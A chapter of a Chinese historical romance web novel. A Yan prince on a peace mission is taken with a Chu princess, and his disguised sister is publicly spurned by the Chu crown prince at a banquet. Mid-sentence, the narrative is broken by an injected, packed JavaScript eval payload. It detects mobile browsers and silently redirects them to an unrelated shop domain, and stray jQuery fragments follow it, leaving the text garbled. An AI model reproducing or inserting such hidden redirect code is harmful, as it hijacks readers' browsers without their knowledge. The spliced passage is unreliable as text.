两国战争的硝烟尚未散尽,燕国三皇子燕玄戎便肩负着议和的重任,踏入了这座刚刚被其铁蹄叩响的楚国皇宫。
楚宫的琉璃瓦在秋阳下流淌着粼粼金光,九曲回廊深处,浓郁的香气氤氲蒸腾。
玄戎微微蹙眉,倚靠着汉白玉栏杆,试图驱散这南方特有的黏腻感。燕国边塞的风是粗砺的,裹挟着砂石与肃杀,何曾像这江南烟雨般缠绵?
他暗自思忖,心头却无半分战胜者的轻快,只有沉重的使命与暗藏的机锋。
“大王,宴席设在承露台……”引路小太监低声禀告。
“知道了,退下吧。”玄戎的声音威严,目光却投向远处巍峨的宫殿群。多年戎马生涯磨砺出的敏锐直觉和情报嗅觉,让他嗅到了机会,一个探查楚国深宫虚实的机会。
他侧首,对着身旁一位身着普通侍女服饰、低眉顺目的女子低语:“黛黛,你先去承露台候着,我稍作流连便至。”
黛黛闻言,依着侍女的身份,姿态恭谨地欠身行礼,声音压低,忧虑道:“大王既如此吩咐,奴自当遵命。只是这楚国宫苑九曲回环,大王万望留心脚下,莫要失了方向才好。”
她语带双关,既是提醒兄长莫要迷路,更是暗示此行凶险,切勿节外生枝。言罢,她悄然转身,身影很快便融入了那回廊深处。
玄戎则信步向西。脚下的金砖地面,金粉奢华逐渐褪去。
忽然,一阵金石相击的破风声,钻入他耳中。那是刀剑劈砍的声响。他循声而去,隐在廊柱之后,屏息凝望。
夕照如金,将练武场镀上一层琥珀色。场中,一个身着银鳞软甲的少女,正与一位玄甲将军对练。
玄甲男子剑鞘轻点她微扬的腕骨,“此处气力虚浮,腕再沉三寸,方能聚力于锋!”
玄戎的目光锁在那少女身上。她执剑的手,白皙得能看清皮肤下淡青的脉络,然而那双眉眼,带着无与伦比的英气。
当啷一声,少女手中的佩剑被对方挑飞,她却在踉跄后退的瞬间,纤手如电,精准地接住了下坠的剑柄!落地时,广袖翻卷如云,恰似白鹤亮翅,姿态矫健而优美。
他恍惚间看到那身银鳞软甲,化作了一身火红嫁衣,而自己正握着那双执剑的手,耐心地教她燕国的剑法……那画面如此鲜活,令他喉结不自觉地滚动。
“奴该死!奴该死!”一声惶恐的呼喊,打破了这幻境。
玄戎猛地回神,只见满头大汗的太监奔到他面前。
玄戎最后深深瞥了一眼场中正抬手拭汗的少女,那银甲在夕阳下跳跃的星芒仿佛烙印在了眼底,这才随太监离去。
返程路上,玄戎放慢脚步,状似随意地开口:“方才校场之上,那两位是?”
引路的太监捏紧了手中的拂尘,小心翼翼地回话:“回大王,那位女子,是太子殿下的胞妹含章公主。那玄甲将军,乃是天策上将之子,林惟序将军。”
“含章公主……”玄戎回想起黛黛提起靖渝的赞赏,今日一见果然不同凡响,心头莫名波动。
太监偷眼观察着玄戎的神色,见他若有所思,忙又补充道:“正是含章公主。公主平日里深居简出,今日竟在校场练剑,实属罕见。”
玄戎微微颔首,目光却不由自主地飘向校场的方向,少女那婀娜的身姿、灵动的眉眼在他脑海中挥之不去。
他忽然打破沉默,探询道:“老内侍,你可知……这含章公主的性情如何?本王听闻楚国女子温婉,公主倒似是个例外?”
太监闻言,脸上堆起恭谨的笑容,“大王明鉴,公主的性情,岂是奴能妄加揣测的?不过坊间确有些传言,说公主才情高绝,然性情刚烈,颇有太子殿下之风骨。”
他顿了顿,声音几不可闻:“习武么……倒也不算精通,只是公主素喜骑射,听说十五岁那年在皇家秋狝大典上,曾一箭射得象征祥瑞的白鹿。”
玄戎的眼中闪过精光,随即看似漫不经心地抛出了最关键的问题:“如此奇女子,不知可有婚配?”
“回大王,不曾听闻公主有婚约在身。”太监答得肯定。
一抹势在必得的笑意在玄戎嘴角漾开。他不再言语,心中却已笃定:这位含章公主楚靖渝,便是他燕玄戎此生认定的妻子!定要寻个机会,好好见识一番。
*
黛黛的心,早已飞向了另一个地方。她混杂在使团末尾不起眼的侍女之中,每一步都胆战心惊。
终于,在承露台时,她眼角的余光,精准地捕捉到了御座左下首那个朝思暮想的身影。
一袭蟠龙太子常服,端坐于象征储君尊位的紫檀大椅之上。殿内辉煌的烛火映照着他清俊的侧脸,周身散发着拒人千里的威压与孤寂。
是他!佐宸!她的心中呐喊。
承露台的夜宴,灯火通明,丝竹靡靡,却掩盖不住两国之间无形的硝烟。
佐宸高踞主位,衣服上盘踞的金龙在烛火下张牙舞爪,散发着凛然不可侵犯的威仪。他面色沉静,不动声色地将整个燕国使团纳入审视之中。
他唇角噙着淡笑,举起琉璃盏,声音清晰地传遍全场:“桓武王千里奔波,远道而来,着实辛苦。请满饮此杯,聊表我楚国待客之诚意。”
玄戎端坐于客席首位,姿态看似闲适,实则每一块肌肉都处于警戒状态。
他微微倾身以示礼节,目光却未曾真正落在佐宸脸上,反而有些失焦地落在酒杯中。
暗红的酒液在琉璃盏中轻轻晃荡,光影迷离,却怎么也晃不散脑海中那抹银甲丽影——执剑旋身时爆开的星芒,青丝散落又挽起的瞬间……每一帧画面都比眼前的美酒更令人沉醉。
“大王?”一声忧虑的气音在身侧响起,是侍女黛黛,借着上前添酒的机会,不动声色地提醒。
她垂着眼帘,视线飞快掠过玄戎失神的侧脸,又迅速收回,重新端起那份恭谨的姿态,仿佛只是寻常的侍奉。
玄戎骤然回神!这才惊觉席间所有目光,包括主位上佐宸正审视他的寒眸,都若有若无地聚焦在自己身上。
他心中警铃微作,面上却丝毫不显,端起酒杯,迎着佐宸的视线,唇角勾起武将爽朗的笑,朗声道:“太子殿下盛情,玄戎愧领。贵国佳酿醇厚,果然名不虚传!”说罢,仰头一饮而尽,尽显沙场豪气。
然而,那辛辣的酒液滑入喉咙,却未能冲散心尖上那抹愈发清晰的银甲丽影,反而像添了一把火,烧得更旺了。
刻骨的思念和不顾一切的冲动,不断刺激着黛黛的心脏。周遭的丝竹声、寒暄声都模糊远去,眼中只剩下那个近在咫尺却又遥不可及的身影。
趁着殿内官员相互敬酒、换盏添茶的短暂间隙,趁着所有人的注意力被主位上的交锋吸引,黛黛端起漆盘,如同最普通的侍女般,脚步轻悄地、却又带着孤注一掷的勇气,挪到了佐宸身侧的条案旁。
心脏在喉咙口疯狂地跳动,她屏住呼吸,借着俯身为他添茶的姿势,将身体压得极低,用只有两人才能听到的、颤抖得不成调的气音,饱含着相思与委屈地唤道:“佐宸……”
那熟悉又陌生的呼唤!紧接着,一股凛冽气息从他身上爆发出来!他甚至不敢抬眼看身边这个侍女一眼,仿佛那声轻唤不过是蚊蚋嗡鸣,不值一顾。
那只曾温暖如玉、此刻却冰冷如铁的手,带着厌弃的力道,猛地将刚刚添了七分满的青瓷茶盏,狠狠地向旁边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935926|213713||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一拂!茶盏砸在地上,碎片飞溅,茶水泼洒开来,有几滴溅到了黛黛粗布裙裾的下摆,留下几块刺眼的深色湿痕,灼痛感透过布料传来。
殿内所有的交谈声、丝竹声,戛然而止!数道目光如同探照灯,聚焦到声音来源处,聚焦到那个卑微的侍女和生气的太子身上。
玄戎端坐不动,冷眼旁观着这一切的发生,看着妹妹遭受这锥心刺骨的羞辱,这正是他此行想要的结果——斩断这无望的情丝。
楚国官员们面面相觑,眼神惊疑不定。
黛黛僵在原地,保持着那个屈辱的俯身姿势,羞辱感让她如坠冰窟。脸颊滚烫,泪水在打转,她死死咬住下唇,才勉强没有让泪水夺眶而出,没有当场失声痛哭。
就在这死寂即将把人压垮之际,一个清越的女声响起:“皇兄息怒!”只见坐在远处的靖渝已起身离席,快步走到佐宸面前。
她先是拿起一方锦帕,看似自然地擦拭着佐宸衣袖上并不存在的茶渍,目光却带着责备与佐宸对视。
随即,她转向僵立的黛黛,刻意为之的训诫口吻:“你这奴婢,做事如此毛躁,惊扰了太子殿下!若非殿下仁慈,岂是你一句‘该死’能担待的?还不速速向殿下谢恩退下!”
靖渝话语严厉,但当她目光与黛黛那双盈满泪水、绝望惊惶的眼睛接触时,却传递出安抚和鼓励,那眼神分明在说:撑住!我知道是你!
靖渝的举动,无疑给了黛黛一个台阶,一个逃离这处刑场的借口。
黛黛浑身颤抖,匍匐地弯下腰,额头触到地砖,挤出破碎不堪的声音:“奴……谢太子殿下……不杀之恩……奴该死……奴告退……”每一个字都像刀子在割喉咙。
随即,在无数道目光的凌迟下,她狼狈不堪地退回到侍女队伍最末端的角落,将头埋得低低的,恨不得将自己缩进尘埃里消失不见。
靖渝若无其事地拿起案上另一只干净的茶盏,重新为佐宸斟满,动作优雅从容。只是在放下茶壶的瞬间,她再次抬眸,深深地看了佐宸一眼。那眼神不再是责备,而是警告与不解:何至于此?
佐宸接触到妹妹的目光,眸色一暗,却终究避开了她的视线。
而这一切,分毫不差地落入了玄戎眼中。他并未看向自己那失魂落魄的妹妹,反而饶有兴味地锁定着挺身而出的靖渝。
她训斥时的威严,安抚时的聪慧,面对兄长时的无畏,还有那身掩不住的英气……每一点都与他校场所见、心中所想完美契合!
当靖渝处理完风波,准备返回自己座位时,她的目光不可避免地与玄戎投来的灼热视线在空中相遇。
玄戎脸上非但没有半分惧色或尴尬,反而那抹笑意更深了。
他毫不避讳地迎上靖渝那双不悦的眸子,仿佛在欣赏一件稀世珍宝终于现出真容,带着一种猎人历经跋涉,终于锁定心仪猎物的满足感。
殿内,表面的和谐重新在丝竹声中流淌,但无形的暗流,却在玄戎与靖渝的对视中,在黛黛压抑的啜泣里,在佐宸紧握的拳头中,汹涌澎湃,预示着未来的风暴。
接下来的几日,使团在楚国礼部的安排下进行着冗长的商谈。
黛黛如同一个影子,沉默地完成着侍女的杂役。
她远远地、一次又一次地看到佐宸的身影——在宫道上乘舆而过,在宴席上谈笑风生,眼神却再未向她所在的方向投来过一瞥,仿佛她真的只是一粒微不足道的尘埃。
每一次相见,他冷漠疏离的视线,都在她心口剜上一刀。绝望缠绕得她如同行尸走肉。
然而,那无数次午夜梦回时他温柔的眼眸,却像黑暗里不肯熄灭的微弱星火,支撑着她濒临崩溃的意志。